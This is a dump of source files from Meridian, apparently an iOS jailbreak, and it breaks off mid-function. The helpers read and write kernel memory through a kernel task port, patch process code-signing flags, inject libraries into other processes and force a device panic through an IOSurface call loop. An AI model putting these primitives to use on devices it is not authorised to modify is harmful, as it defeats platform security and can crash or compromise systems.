    "path": "Meridian/Meridian/helpers/fucksigningservices.m",
    "content": "//\n//  fuck-signing-services.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 07/01/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#import \"fucksigningservices.h\"\n\n@interface NSString (profileHelper)\n- (id)dictionaryFromString;\n@end\n\n@implementation NSString (profileHelper)\n\n// convert basic XML plist string from the profile and convert it into a mutable nsdictionary\n- (id)dictionaryFromString\n{\n    NSData *theData = [self dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES];\n    id theDict = [NSPropertyListSerialization propertyListWithData:theData\n                                                           options:NSPropertyListMutableContainersAndLeaves\n                                                            format:nil\n                                                             error:nil];\n    return theDict;\n}\n\n@end\n\n@implementation fucksigningservices : NSObject\n\n// creds @nitoTV/lechium the fuckin' madman\n// https://github.com/lechium/ProvisioningProfileCleaner/blob/master/ProvisioningProfileCleaner/KBProfileHelper.m#L648\n+ (Boolean)appIsPirated:(NSString *)profilePath\n{\n    NSString *fileContents = [NSString stringWithContentsOfFile:profilePath\n                                             encoding:NSUTF8StringEncoding\n                                                error:nil];\n    NSUInteger fileLength = [fileContents length];\n    \n    if (fileLength == 0) return false;\n    \n    // find NSRange location of <?xml to pass by all the \"garbage\" data before our plist\n    NSUInteger startingLocation = [fileContents rangeOfString:@\"<?xml\"].location;\n    // find NSRange of the end of the plist (there is \"junk\" cert data after our plist info as well\n    NSRange endingRange = [fileContents rangeOfString:@\"</plist>\"];\n    \n    // adjust the location of endingRange to include </plist> into our newly trimmed string.\n    NSUInteger endingLocation = endingRange.location + endingRange.length;\n    \n    // offset the ending location to trim out the \"garbage\" before <?xml\n    NSUInteger endingLocationAdjusted = endingLocation - startingLocation;\n    \n    // create the final range of the string data from <?xml to </plist>\n    NSRange plistRange = NSMakeRange(startingLocation, endingLocationAdjusted);\n    \n    NSString *plistString = [fileContents substringWithRange:plistRange];\n    \n    NSMutableDictionary *dict = [plistString dictionaryFromString];\n    \n    // Grab provisioning entries\n    NSObject *provisionsAllDevices = [dict objectForKey:@\"ProvisionsAllDevices\"];\n    NSArray *provisionedDevices = [dict objectForKey:@\"ProvisionedDevices\"];\n    \n    // Check whether keys are present & evaluate\n    return (provisionsAllDevices != nil &&\n            provisionedDevices == nil);\n}\n\n@end\n"
  },
  {
    "path": "Meridian/Meridian/helpers/helpers.h",
    "content": "//\n//  helpers.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#ifndef helpers_h\n#define helpers_h\n\n#include <stdio.h>\n\n#define CS_GET_TASK_ALLOW       0x0000004    /* has get-task-allow entitlement */\n#define CS_INSTALLER            0x0000008    /* has installer entitlement      */\n#define CS_HARD                 0x0000100    /* don't load invalid pages       */\n#define CS_RESTRICT             0x0000800    /* tell dyld to treat restricted  */\n#define CS_PLATFORM_BINARY      0x4000000    /* this is a platform binary      */\n\n#define JAILBREAKD_COMMAND_ENTITLE 1\n#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2\n#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3\n#define JAILBREAKD_COMMAND_FIXUP_SETUID 4\n\nint call_jailbreakd(int command, pid_t pid);\nuint64_t find_proc_by_name(char* name);\nuint64_t find_proc_by_pid(uint32_t pid);\nuint32_t get_pid_for_name(char* name);\nint uicache(void);\nint start_launchdaemon(const char *path);\nint respring(void);\nint inject_library(pid_t pid, const char *path);\nint killall(const char *procname, const char *kill);\nint check_for_jailbreak(void);\nchar *itoa(long n);\nint file_exists(const char *path);\nvoid read_file(const char* path);\nint cp(const char *from, const char *to);\nint num_files(const char *path);\nchar* bundled_file(const char *filename);\nchar* bundle_path(void);\nint extract_bundle(const char* bundle_name, const char* directory);\nint extract_bundle_tar(const char *bundle_name);\nvoid touch_file(char *path);\nchar* concat(const char *s1, const char *s2);\nvoid grant_csflags(pid_t pd);\nint execprog(const char *prog, const char* args[]);\nvoid restart_device(void);\ndouble uptime(void);\nvoid suspend_all_threads(void);\nvoid resume_all_threads(void);\n\n#endif\n"
  },
  {
    "path": "Meridian/Meridian/helpers/helpers.m",
    "content": "//\n//  helpers.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#include \"helpers.h\"\n#include \"ViewController.h\"\n#include \"kernel.h\"\n#include \"untar.h\"\n#include \"amfi.h\"\n#include \"jailbreak_daemonUser.h\"\n#include \"iokit.h\"\n#include <dirent.h>\n#include <unistd.h>\n#include <dlfcn.h>\n#include <sys/fcntl.h>\n#include <sys/spawn.h>\n#include <sys/stat.h>\n#include <sys/sysctl.h>\n#import <Foundation/Foundation.h>\n\nint call_jailbreakd(int command, pid_t pid) {\n    mach_port_t jbd_port;\n    if (bootstrap_look_up(bootstrap_port, \"zone.sparkes.jailbreakd\", &jbd_port) != 0) {\n        return -1;\n    }\n    \n    return jbd_call(jbd_port, command, pid);\n}\n\nuint64_t find_proc_by_name(char *name) {\n    uint64_t proc = rk64(kernprocaddr + 0x08);\n    \n    while (proc) {\n        char proc_name[40] = { 0 };\n        \n        kread(proc + 0x26c, proc_name, 40);\n        \n        if (!strcmp(name, proc_name)) {\n            return proc;\n        }\n        \n        proc = rk64(proc + 0x08);\n    }\n    \n    return 0;\n}\n\nuint64_t find_proc_by_pid(uint32_t pid) {\n    uint64_t proc = rk64(kernprocaddr + 0x08);\n    \n    while (proc) {\n        uint32_t proc_pid = rk32(proc + 0x10);\n        \n        if (pid == proc_pid) {\n            return proc;\n        }\n        \n        proc = rk64(proc + 0x08);\n    }\n    \n    return 0;\n}\n\nuint32_t get_pid_for_name(char* name) {\n    uint64_t proc = find_proc_by_name(name);\n    if (proc == 0) {\n        return 0;\n    }\n    \n    return rk32(proc + 0x10);\n}\n\nint uicache() {\n    return execprog(\"/bin/uicache\", NULL);\n}\n\nint start_launchdaemon(const char *path) {\n    int ret = inject_trust(\"/bin/launchctl\");\n    if (ret != 0) {\n        NSLog(@\"Failed to inject trust to /bin/launchctl: %d\", ret);\n        return -30;\n    }\n    \n    chmod(path, 0755);\n    chown(path, 0, 0);\n    return execprog(\"/bin/launchctl\", (const char **)&(const char*[]) {\n        \"/bin/launchctl\",\n        \"load\",\n        \"-w\",\n        path,\n        NULL\n    });\n}\n\nint respring() {\n    pid_t springBoard = get_pid_for_name(\"SpringBoard\");\n    if (springBoard == 0) {\n        return 1;\n    }\n    \n    kill(springBoard, 9);\n    return 0;\n}\n\nint inject_library(pid_t pid, const char *path) {\n    mach_port_t task_port;\n    kern_return_t ret = task_for_pid(mach_task_self(), pid, &task_port);\n    if (ret != KERN_SUCCESS || task_port == MACH_PORT_NULL) {\n        task_port = task_for_pid_workaround(pid);\n        if (task_port == MACH_PORT_NULL) {\n            NSLog(@\"[injector] failed to get task for pid %d\", pid);\n            return ret;\n        }\n    }\n    \n    NSLog(@\"[injector] got task port: %x\", task_port);\n    \n    call_remote(task_port, dlopen, 2, REMOTE_CSTRING(path), REMOTE_LITERAL(RTLD_NOW));\n    uint64_t error = call_remote(task_port, dlerror, 0);\n    if (error != 0) {\n        uint64_t len = call_remote(task_port, strlen, 1, REMOTE_LITERAL(error));\n        char* local_cstring = malloc(len +  1);\n        remote_read_overwrite(task_port, error, (uint64_t)local_cstring, len + 1);\n        \n        NSLog(@\"[injector] error: %s\", local_cstring);\n        return -1;\n    }\n    \n    return 0;\n}\n\nint killall(const char *procname, const char *kill) {\n    return execprog(\"/usr/bin/killall\", (const char **)&(const char *[]) {\n        \"/usr/bin/killall\",\n        kill,\n        procname,\n        NULL\n    });\n}\n\nint check_for_jailbreak() {\n    int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);\n    \n    uint32_t flags;\n    csops(getpid(), 0, &flags, 0);\n    \n    return flags & CS_PLATFORM_BINARY;\n}\n\nchar *itoa(long n) {\n    int len = n==0 ? 1 : floor(log10l(labs(n)))+1;\n    if (n<0) len++; // room for negative sign '-'\n    \n    char    *buf = calloc(sizeof(char), len+1); // +1 for null\n    snprintf(buf, len+1, \"%ld\", n);\n    return   buf;\n}\n\n// remember: returns 0 if file exists\nint file_exists(const char *path) {\n    return access(path, F_OK);\n}\n\nvoid read_file(const char *path) {\n    char buf[65] = {0};\n    int fd = open(path, O_RDONLY);\n    if (fd == -1) {\n        perror(\"open path\");\n        return;\n    }\n    \n    printf(\"contents of %s: \\n ------------------------- \\n\", path);\n    while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {\n        printf(\"%s\", buf);\n    }\n    printf(\"%s\", buf);\n    printf(\"\\n-------------------------\\n\");\n    \n    close(fd);\n}\n\nint cp(const char *from, const char *to) {\n    int fd_to, fd_from;\n    char buf[4096];\n    ssize_t nread;\n    int saved_errno;\n    \n    fd_from = open(from, O_RDONLY);\n    if (fd_from < 0)\n        return -1;\n    \n    fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666);\n    if (fd_to < 0)\n        goto out_error;\n    \n    while ((nread = read(fd_from, buf, sizeof buf)) > 0)\n    {\n        char *out_ptr = buf;\n        ssize_t nwritten;\n        \n        do {\n            nwritten = write(fd_to, out_ptr, nread);\n            \n            if (nwritten >= 0)\n            {\n                nread -= nwritten;\n                out_ptr += nwritten;\n            }\n            else if (errno != EINTR)\n            {\n                goto out_error;\n            }\n        } while (nread > 0);\n    }\n    \n    if (nread == 0)\n    {\n        if (close(fd_to) < 0)\n        {\n            fd_to = -1;\n            goto out_error;\n        }\n        close(fd_from);\n        \n        /* Success! */\n        return 0;\n    }\n    \nout_error:\n    saved_errno = errno;\n    \n    close(fd_from);\n    if (fd_to >= 0)\n        close(fd_to);\n    \n    errno = saved_errno;\n    return -1;\n}\n\n// https://stackoverflow.com/questions/1121383/counting-the-number-of-files-in-a-directory-using-c\nint num_files(const char *path) {\n    if (file_exists(path) != 0) {\n        return -1;\n    }\n    \n    int file_count = 0;\n    DIR * dirp;\n    struct dirent * entry;\n\n    dirp = opendir(path);\n    while ((entry = readdir(dirp)) != NULL) {\n        if (entry->d_type == DT_REG) {\n            file_count++;\n        }\n    }\n    closedir(dirp);\n    \n    return file_count;\n}\n\nchar* bundled_file(const char *filename) {\n    return concat(bundle_path(), filename);\n}\n\nchar* bundle_path() {\n    CFBundleRef mainBundle = CFBundleGetMainBundle();\n    CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle);\n    int len = 4096;\n    char* path = malloc(len);\n    \n    CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len);\n    \n    return concat(path, \"/\");\n}\n\nint extract_bundle(const char* bundle_name, const char* directory) {\n    int ret;\n    \n    char *tarFile = NULL;\n    asprintf(&tarFile, \"%s/%s\", directory, bundle_name);\n    \n    ret = file_exists(bundled_file(bundle_name));\n    if (ret != 0) {\n        NSLog(@\"file does not exist: %s\", bundled_file(bundle_name));\n        return -1;\n    }\n    \n    ret = file_exists(directory);\n    if (file_exists(directory) != 0) {\n        NSLog(@\"directory does not exist: %s\", directory);\n        return -2;\n    }\n    \n    ret = cp(bundled_file(bundle_name), tarFile);\n    if (ret != 0) {\n        NSLog(@\"cp has failed: %d\", ret);\n        return -3;\n    }\n    \n    ret = chdir(directory);\n    if (ret != 0) {\n        NSLog(@\"failed to chdir *rolls eyes* code %d\", ret);\n        return -4;\n    }\n    \n    ret = untar(fopen(tarFile, \"r\"), bundle_name);\n    NSLog(@\"untar returned: %d\", ret);\n    if (ret != 0) {\n        return -5;\n    }\n    \n    ret = unlink(tarFile);\n    if (ret != 0) {\n        NSLog(@\"now fucking `unlink` is failing tooo? %d\", ret);\n        return -6;\n    }\n    \n    free(tarFile);\n    return 0;\n}\n\nint extract_bundle_tar(const char *bundle_name) {\n    const char *file_path = bundled_file(bundle_name);\n    \n    if (file_exists(file_path) != 0) {\n        log_message([NSString stringWithFormat:@\"Error, bundle file %s was not found at path %s!\",\n                     bundle_name, file_path]);\n        return -1;\n    }\n    \n    return execprog(\"/meridian/tar\", (const char **)&(const char*[]) {\n        \"/meridian/tar\",\n        \"--preserve-permissions\",\n        \"--no-overwrite-dir\",\n        \"-C\",\n        \"/\",\n        \"-xvf\",\n        file_path,\n        NULL\n    });\n}\n\nvoid touch_file(char *path) {\n    fclose(fopen(path, \"w+\"));\n}\n\n// https://stackoverflow.com/questions/8465006/how-do-i-concatenate-two-strings-in-c\nchar* concat(const char *s1, const char *s2) {\n    char *result = malloc(strlen(s1)+strlen(s2)+1);\n    strcpy(result, s1);\n    strcat(result, s2);\n    return result;\n}\n\nvoid grant_csflags(pid_t pid) {    \n    int tries = 3;\n    while (tries-- > 0) {\n        uint64_t proc = find_proc_by_pid(pid);\n        if (proc == 0) {\n            sleep(1);\n            continue;\n        }\n        \n        uint32_t csflags = rk32(proc + 0x2a8);\n        csflags = (csflags |\n                   CS_PLATFORM_BINARY |\n                   CS_INSTALLER |\n                   CS_GET_TASK_ALLOW)\n                   & ~(CS_RESTRICT | CS_HARD);\n        wk32(proc + 0x2a8, csflags);\n        break;\n    }\n}\n\n// creds to stek29 on this one\nint execprog(const char *prog, const char* args[]) {\n    if (args == NULL) {\n        args = (const char **)&(const char*[]){ prog, NULL };\n    }\n    \n    if (file_exists(\"/meridian\") != 0) {\n        mkdir(\"/meridian\", 0755);\n    }\n    if (file_exists(\"/meridian/logs\") != 0) {\n        mkdir(\"/meridian/logs\", 0755);\n    }\n    \n    const char *logfile = [NSString stringWithFormat:@\"/meridian/logs/%@-%lu\",\n                           [[NSMutableString stringWithUTF8String:prog] stringByReplacingOccurrencesOfString:@\"/\" withString:@\"_\"],\n                           time(NULL)].UTF8String;\n    \n    NSString *prog_args = @\"\";\n    for (const char **arg = args; *arg != NULL; ++arg) {\n        prog_args = [prog_args stringByAppendingString:[NSString stringWithFormat:@\"%s \", *arg]];\n    }\n    NSLog(@\"[execprog] Spawning [ %@ ] to logfile [ %s ]\", prog_args, logfile);\n    \n    int rv;\n    posix_spawn_file_actions_t child_fd_actions;\n    if ((rv = posix_spawn_file_actions_init (&child_fd_actions))) {\n        perror (\"posix_spawn_file_actions_init\");\n        return rv;\n    }\n    if ((rv = posix_spawn_file_actions_addopen (&child_fd_actions, STDOUT_FILENO, logfile,\n                                                O_WRONLY | O_CREAT | O_TRUNC, 0666))) {\n        perror (\"posix_spawn_file_actions_addopen\");\n        return rv;\n    }\n    if ((rv = posix_spawn_file_actions_adddup2 (&child_fd_actions, STDOUT_FILENO, STDERR_FILENO))) {\n        perror (\"posix_spawn_file_actions_adddup2\");\n        return rv;\n    }\n    \n    pid_t pd;\n    if ((rv = posix_spawn(&pd, prog, &child_fd_actions, NULL, (char**)args, NULL))) {\n        printf(\"posix_spawn error: %d (%s)\\n\", rv, strerror(rv));\n        return rv;\n    }\n    \n    NSLog(@\"[execprog] Process spawned with pid %d\", pd);\n    \n    grant_csflags(pd);\n    \n    int ret, status;\n    do {\n        ret = waitpid(pd, &status, 0);\n        if (ret > 0) {\n            NSLog(@\"'%s' exited with %d (sig %d)\\n\", prog, WEXITSTATUS(status), WTERMSIG(status));\n        } else if (errno != EINTR) {\n            NSLog(@\"waitpid error %d: %s\\n\", ret, strerror(errno));\n        }\n    } while (ret < 0 && errno == EINTR);\n    \n    char buf[65] = {0};\n    int fd = open(logfile, O_RDONLY);\n    if (fd == -1) {\n        perror(\"open logfile\");\n        return 1;\n    }\n    \n    NSLog(@\"contents of %s:\", logfile);\n    NSLog(@\"-------------------------\");\n    NSString *outputString = @\"\";\n    while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {\n        outputString = [outputString stringByAppendingString:[NSString stringWithFormat:@\"%s\", buf]];\n    }\n    NSLog(@\"%@\", outputString);\n    NSLog(@\"-------------------------\");\n    \n    close(fd);\n    remove(logfile);\n    return (int8_t)WEXITSTATUS(status);\n}\n\n// credits to tihmstar\nvoid restart_device() {\n    // open user client\n    CFMutableDictionaryRef matching = IOServiceMatching(\"IOSurfaceRoot\");\n    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);\n    io_connect_t connect = 0;\n    IOServiceOpen(service, mach_task_self(), 0, &connect);\n    \n    // add notification port with same refcon multiple times\n    mach_port_t port = 0;\n    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);\n    uint64_t references;\n    uint64_t input[3] = {0};\n    input[1] = 1234;  // keep refcon the same value\n    while (1) {\n        IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);\n    }\n}\n\n// credits to tihmstar\ndouble uptime() {\n    struct timeval boottime;\n    size_t len = sizeof(boottime);\n    int mib[2] = { CTL_KERN, KERN_BOOTTIME };\n    if (sysctl(mib, 2, &boottime, &len, NULL, 0) < 0) {\n        return -1.0;\n    }\n    \n    time_t bsec = boottime.tv_sec, csec = time(NULL);\n    \n    return difftime(csec, bsec);\n}\n\n// credits to tihmstar\nvoid suspend_all_threads() {\n    thread_act_t other_thread, current_thread;\n    unsigned int thread_count;\n    thread_act_array_t thread_list;\n    \n    current_thread = mach_thread_self();\n    int result = task_threads(mach_task_self(), &thread_list, &thread_count);\n    if (result == -1) {\n        exit(1);\n    }\n    if (!result && thread_count) {\n        for (unsigned int i = 0; i < thread_count; ++i) {\n            other_thread = thread_list[i];\n            if (other_thread != current_thread) {\n                int kr = thread_suspend(other_thread);\n                if (kr != KERN_SUCCESS) {\n                    mach_error(\"thread_suspend:\", kr);\n                    exit(1);\n                }\n            }\n        }\n    }\n}\n\n// credits to tihmstar\nvoid resume_all_threads() {\n    thread_act_t other_thread, current_thread;\n    unsigned int thread_count;\n    thread_act_array_t thread_list;\n    \n    current_thread = mach_thread_self();\n    int result = task_threads(mach_task_self(), &thread_list, &thread_count);\n    if (!result && thread_count) {\n        for (unsigned int i = 0; i < thread_count; ++i) {\n            other_thread = thread_list[i];\n            if (other_thread != current_thread) {\n                int kr = thread_resume(other_thread);\n                if (kr != KERN_SUCCESS) {\n                    mach_error(\"thread_suspend:\", kr);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Meridian/Meridian/helpers/iokit.h",
    "content": "#ifndef IOKIT_H\n#define IOKIT_H\n\n#include <stdint.h>\n#include <mach/mach.h>\n#include <CoreFoundation/CoreFoundation.h>\n\n// Thanks Sig <3\n// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h\n\ntypedef char io_name_t[128];\ntypedef char io_string_t[512];\ntypedef char io_struct_inband_t[4096];\ntypedef mach_port_t io_object_t;\ntypedef io_object_t io_registry_entry_t;\ntypedef io_object_t io_service_t;\ntypedef io_object_t io_connect_t;\ntypedef io_object_t io_iterator_t;\n\nenum\n{\n    kIOCFSerializeToBinary          = 0x00000001U,\n};\n\nenum\n{\n    kIORegistryIterateRecursively   = 0x00000001U,\n    kIORegistryIterateParents       = 0x00000002U,\n};\n\nenum\n{\n    kOSSerializeDictionary          = 0x01000000U,\n    kOSSerializeArray               = 0x02000000U,\n    kOSSerializeSet                 = 0x03000000U,\n    kOSSerializeNumber              = 0x04000000U,\n    kOSSerializeSymbol              = 0x08000000U,\n    kOSSerializeString              = 0x09000000U,\n    kOSSerializeData                = 0x0a000000U,\n    kOSSerializeBoolean             = 0x0b000000U,\n    kOSSerializeObject              = 0x0c000000U,\n    \n    kOSSerializeTypeMask            = 0x7F000000U,\n    kOSSerializeDataMask            = 0x00FFFFFFU,\n    \n    kOSSerializeEndCollection       = 0x80000000U,\n    \n    kOSSerializeMagic               = 0x000000d3U,\n};\n\nextern const mach_port_t kIOMasterPortDefault;\n\nCF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);\nCFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);\n\nkern_return_t IOObjectRetain(io_object_t object);\nkern_return_t IOObjectRelease(io_object_t object);\nboolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);\nuint32_t IOObjectGetKernelRetainCount(io_object_t object);\nkern_return_t IOObjectGetClass(io_object_t object, io_name_t name);\nCFStringRef IOObjectCopyClass(io_object_t object);\nCFStringRef IOObjectCopySuperclassForClass(CFStringRef name);\nCFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);\n\nio_registry_entry_t IORegistryGetRootEntry(mach_port_t master);\nkern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);\nkern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);\nkern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);\nkern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);\nkern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);\nCFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);\nkern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);\n\nkern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);\nkern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);\nkern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);\nkern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);\nio_object_t IOIteratorNext(io_iterator_t it);\nboolean_t IOIteratorIsValid(io_iterator_t it);\nvoid IOIteratorReset(io_iterator_t it);\n\nCFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;\nCFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;\nio_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);\nkern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);\nkern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);\nkern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);\nkern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);\nkern_return_t IOServiceClose(io_connect_t client);\nkern_return_t IOCloseConnection(io_connect_t client);\nkern_return_t IOConnectAddRef(io_connect_t client);\nkern_return_t IOConnectRelease(io_connect_t client);\nkern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);\nkern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);\nkern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);\nkern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);\nkern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);\nkern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);\nkern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);\nkern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);\nkern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);\nkern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);\nkern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);\nkern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);\nkern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);\n\n#endif\n"
  },
  {
    "path": "Meridian/Meridian/helpers/kernel.h",
    "content": "//\n//  kernel.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#include <mach/mach.h>\n\nenum arg_type {\n    ARG_LITERAL,\n    ARG_BUFFER,\n    ARG_BUFFER_PERSISTENT, // don't free the buffer after the call\n    ARG_OUT_BUFFER,\n    ARG_INOUT_BUFFER\n};\n\ntypedef struct _arg_desc {\n    uint64_t type;\n    uint64_t value;\n    uint64_t length;\n} arg_desc;\n\n#define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0}\n#define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size}\n#define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)}\n\ntask_t tfp0;\nuint64_t kslide;\nuint64_t kernel_base;\nuint64_t kern_ucred;\nuint64_t kernprocaddr;\n\nkern_return_t mach_vm_write(vm_map_t target_task,\n                            mach_vm_address_t address,\n                            vm_offset_t data,\n                            mach_msg_type_number_t dataCnt);\n\nkern_return_t mach_vm_read_overwrite(vm_map_t target_task,\n                                     mach_vm_address_t address,\n                                     mach_vm_size_t size,\n                                     mach_vm_address_t data,\n                                     mach_vm_size_t *outsize);\n\nkern_return_t mach_vm_allocate(vm_map_t,\n                               mach_vm_address_t *,\n                               mach_vm_size_t, int);\n\nkern_return_t mach_vm_deallocate(vm_map_t target,\n                                 mach_vm_address_t address,\n                                 mach_vm_size_t size);\n\nkern_return_t mach_vm_region(vm_map_t target_task,\n                             mach_vm_address_t *address,\n                             mach_vm_size_t *size,\n                             vm_region_flavor_t flavor,\n                             vm_region_info_t info,\n                             mach_msg_type_number_t *infoCnt,\n                             mach_port_t *object_name);\n\nkern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port);\n\nsize_t kread(uint64_t where, void *p, size_t size);\nsize_t kwrite(uint64_t where, const void *p, size_t size);\nuint64_t rk64(uint64_t kaddr);\nuint32_t rk32(uint64_t kaddr);\nvoid wk64(uint64_t kaddr, uint64_t val);\nvoid wk32(uint64_t kaddr, uint32_t val);\nuint64_t remote_alloc(mach_port_t task_port, uint64_t size);\nuint64_t alloc_and_fill_remote_buffer(mach_port_t task_port,\n                                      uint64_t local_address,\n                                      uint64_t length);\nvoid remote_free(mach_port_t task_port, uint64_t base, uint64_t size);\nvoid remote_read_overwrite(mach_port_t task_port,\n                           uint64_t remote_address,\n                           uint64_t local_address,\n                           uint64_t length);\nuint64_t binary_load_address(mach_port_t tp);\nuint64_t ktask_self_addr(void);\nmach_port_t task_for_pid_workaround(int pid);\nuint64_t find_port_address(mach_port_name_t port);\nuint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...);\n"
  },
  {
    "path": "Meridian/Meridian/helpers/kernel.m",
    "content": "//\n//  kernel.m\n//  v0rtex\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#include \"kernel.h\"\n#include \"common.h\"\n#include \"helpers.h\"\n#include <mach/mach.h>\n\nsize_t kread(uint64_t where, void *p, size_t size)\n{\n    int rv;\n    size_t offset = 0;\n    while (offset < size) {\n        mach_vm_size_t sz, chunk = 2048;\n        if (chunk > size - offset) {\n            chunk = size - offset;\n        }\n        rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);\n        \n        if (rv || sz == 0) {\n            break;\n        }\n        \n        offset += sz;\n    }\n    return offset;\n}\n\nsize_t kwrite(uint64_t where, const void *p, size_t size) {\n    int rv;\n    size_t offset = 0;\n    while (offset < size) {\n        size_t chunk = 2048;\n        if (chunk > size - offset) {\n            chunk = size - offset;\n        }\n        rv = mach_vm_write(tfp0,\n                           where + offset,\n                           (mach_vm_offset_t)p + offset,\n                           (mach_msg_type_number_t)chunk);\n        \n        if (rv) {\n            printf(\"[kernel] error copying buffer into region: @%p \\n\", (void *)(offset + where));\n            break;\n        }\n        \n        offset +=chunk;\n    }\n    \n    return offset;\n}\n\nuint64_t rk64(uint64_t kaddr) {\n    uint64_t lower = rk32(kaddr);\n    uint64_t higher = rk32(kaddr + 4);\n    return ((higher << 32) | lower);\n}\n\nuint32_t rk32(uint64_t kaddr) {\n    kern_return_t err;\n    uint32_t val = 0;\n    mach_vm_size_t outsize = 0;\n    \n    kern_return_t mach_vm_write(vm_map_t target_task,\n                                mach_vm_address_t address,\n                                vm_offset_t data,\n                                mach_msg_type_number_t dataCnt);\n\n    err = mach_vm_read_overwrite(tfp0,\n                                 (mach_vm_address_t)kaddr,\n                                 (mach_vm_size_t)sizeof(uint32_t),\n                                 (mach_vm_address_t)&val,\n                                 &outsize);\n    \n    if (err != KERN_SUCCESS) {\n        return 0;\n    }\n    \n    if (outsize != sizeof(uint32_t)) {\n        return 0;\n    }\n    \n    return val;\n}\n\nvoid 